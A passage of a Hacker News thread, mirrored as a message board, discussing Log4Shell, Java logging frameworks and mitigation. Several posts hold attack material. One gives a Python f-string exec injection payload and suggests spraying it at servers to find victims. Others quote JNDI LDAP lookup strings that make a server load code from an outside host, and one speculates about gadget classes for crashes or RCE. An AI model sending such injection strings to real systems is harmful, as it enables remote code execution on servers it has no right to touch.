Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

Post reply on HN
Print view View original

101–110 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#101

Post by jfoutz »

freeqaz wrote: post #19
petilon wrote: post #12

According to https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered: String apiVersion = he.getRequestHeader("X-Api-Version"); // This line triggers the RCE by logging the attacker-controlled HTTP header. // The attacker can set their X-Api-Version header to: ${jndi:ldap://at…

Author here. It's not actually a "bug", per se. It's actually a (very misguided) feature! Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd... > By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol. So that's where the LDAP portion comes from. This would be perfectly fine if it could only be configured via code or some config file, but the prob…

I've really enjoyed your comments on this page, your blog, and the sample code you're pointing people at.

This feels so much like a 90's java/flash bug, it's kind of hilarious and awesome.

I think there are 2 key things (As I understand them, and I'm just some random guy, don't trust my armchair analysis)

1. The evil ldap server does not send bytecode to execute. It sends instructions about a class to create, and how to configure it. That class needs to be on the server already. One hard problem might be a hash map with initial size of 2^64 -1, which will throw an OOM, which is hard to deal with, and most people don't bother. another might be awt Window or JFrame, so your server process is trying to load up all of X, which probably isn't installed and will generate a lot of weird errors or crash, unless you've had to be pretty wiley to get around or deal with those in the past. There may be a default RCE out there. I don't see an obvious way to make ProcessBuilder do anything too scary, but the std library is huge. There certainly could be something. I haven't really thought through InvocationHandler, but it seems like it has potential.

2. JNDI support for LDAP comes with java, but JNDI is sorta like JDBC, you can plug in whatever random directory service you want. I do not know, but I suspect there are bindings for CORBA or lotus Domino or ActiveDirectory or COM+ or whatever random, crazy, 20 year old binary is still laying around out there.

Actually, I have a third tangential thing. This chain of vectors makes me worry about XML processing and what common libraries do with .xsl, .wsdl, .uddi, and whatever other crazy thing seemed like a good idea back in the day that has been faithfully preserved because change is hard and scary.

In any case, great write ups. I've enjoyed them.

Re: Log4Shell update: second Log4j vulnerability published

#102

Post by oneweekwonder »

throwaway984393 wrote: post #78

It's funny that this vuln kind of already exists in other software that uses printf() allowing the user to specify the format string. (Not nearly as easy as this particular bug of course!) Maybe we'll have a mini renaissance of format string vulns now?

Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen('http://localhost:8000').read()")}"""` and variants, see what servers bite and then try to send them a more potent attack.

So i personally believe log4sh type attacks across languages will become a lot more common. Because the risk is relatively low and a lot can be automated.

Re: Log4Shell update: second Log4j vulnerability published

#103

Post by madmax108 »

bullen wrote: post #94

Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something…

"Alexa, define yak-shaving"

Re: Log4Shell update: second Log4j vulnerability published

#104

Post by filomeno »

topspin wrote: post #98
lmm wrote: post #36

Earlier quoted context omitted.

log4j 2 isn't in so many things AFAIK? log4j 1.x is in everything, but that's not vulnerable.

Yes, this is something that's been lost in the all the loud speaker noise. Log4j 1.x was indeed ubiquitous at one time. SLF4J took most of the mindshare before Log4j 2.x got traction and Log4j 2.x is not the go-to Java logging solution today. Spring, for instance, defaults to SLF4J. Huge code bases that were heavily invested in Log4j 1.x often migrated from 1 to 2 due to API compatibility and these account for most L…

Be aware that using SLF4J does NOT mean you're not using log4j (1 or 2). SLF4J, as it names implies (Simple Logging Facade) is a logging facade, so your code is not tied to a specific logging implementation, like log4j. But it does not do the actual logging, and you have to use some implementation, which can be (and quite often is) log4j.

However, it is right that log4j2 is not as ubiquitous as log4j1. Spring Boot, while using SLF4J, defaults to "logback", if I'm not wrong, which is another logging framework similar to log4j, but not affected with this kind of vulnerabilities.

Re: Log4Shell update: second Log4j vulnerability published

#105

Post by reegnz »

edenfed wrote: post #91

If you are using Kubernetes, please check out my post on patching log4shell using ephemeral containers in one command: https://medium.com/@edeNFed/patching-log4shell-in-one-comman... Also recommended by Lunasec's mitigation guide: https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-g...

> First, you will need a Kubernetes cluster running version v1.23

Good luck with that.

Re: Log4Shell update: second Log4j vulnerability published

#106

Post by plafl »

freeqaz wrote: post #45
tbirdny wrote: post #23

Earlier quoted context omitted.

Logout4Shell is clever but would require you know where to put the string so it gets logged by the app. So, you have to know how to exploit the app. It could be in the user-agent header, or somewhere else entirely depending on the app. And, the fix wouldn't be permanent, only until the app was restarted. And, in a load-balanced environment you would need to make sure you hit each server.

That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least. I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options. Blows my mind, but that's reality (apparently)!

> _can't reboot their servers_ because they simply don't know how to bring the app back up

A hundred years later IT priests will demand human sacrifices to appease the server gods

Re: Log4Shell update: second Log4j vulnerability published

#107

Post by YetAnotherNick »

freeqaz wrote: post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

While brilliant, I don't think anyone should actually be content after running this in their server. The patch won't work in case of multiple pods, and won't be applied again in case you redeploy the code

Re: Log4Shell update: second Log4j vulnerability published

#108

Post by topspin »

filomeno wrote: post #104
topspin wrote: post #98

Earlier quoted context omitted.

Yes, this is something that's been lost in the all the loud speaker noise. Log4j 1.x was indeed ubiquitous at one time. SLF4J took most of the mindshare before Log4j 2.x got traction and Log4j 2.x is not the go-to Java logging solution today. Spring, for instance, defaults to SLF4J. Huge code bases that were heavily invested in Log4j 1.x often migrated from 1 to 2 due to API compatibility and these account for most L…

Be aware that using SLF4J does NOT mean you're not using log4j (1 or 2). SLF4J, as it names implies (Simple Logging Facade) is a logging facade, so your code is not tied to a specific logging implementation, like log4j. But it does not do the actual logging, and you have to use some implementation, which can be (and quite often is) log4j. However, it is right that log4j2 is not as ubiquitous as log4j1. Spring Boot, w…

Yes, it is possible to use log4j-core as the backend for SLF4J. The vast majority of the time, especially in small, bespoke services, the backend is logback.

I'm reminded of something Al Viro said long ago about the Linux kernel[1]

"Yes. So's sysfs, so's udev, so's hal, so's any number of revolting strings of intertwined copulating tapeworms hanging off the kernel's arse."

[1] http://lkml.iu.edu/hypermail/linux/kernel/0906.1/02297.html http://lkml.iu.edu/hypermail/linux/kernel/0906.1/02304.html

Re: Log4Shell update: second Log4j vulnerability published

#109

Post by stef25 »

NaturalPhallacy wrote: post #61
GenerocUsername wrote: post #34

The one thing we can all be sure of though is that our elections are the most secure.

There's no good reason to do elections on anything other than paper.

If there's no way to build secure software that tallies digits then why are we even here?

Re: Log4Shell update: second Log4j vulnerability published

#110

Post by staticassertion »

freeqaz wrote: post #45
tbirdny wrote: post #23

Earlier quoted context omitted.

Logout4Shell is clever but would require you know where to put the string so it gets logged by the app. So, you have to know how to exploit the app. It could be in the user-agent header, or somewhere else entirely depending on the app. And, the fix wouldn't be permanent, only until the app was restarted. And, in a load-balanced environment you would need to make sure you hit each server.

That's definitely very fair! You could throw it into the constructor of your app right after you init log4j, at least. I've been surprised (and horrified) to learn that there are companies out there that _can't reboot their servers_ because they simply don't know how to bring the app back up. For them... live patching is the only options. Blows my mind, but that's reality (apparently)!

Server uptime used to be a point of pride. Now people try to shut them down as often as they can. Funny how things change.
Post reply on HN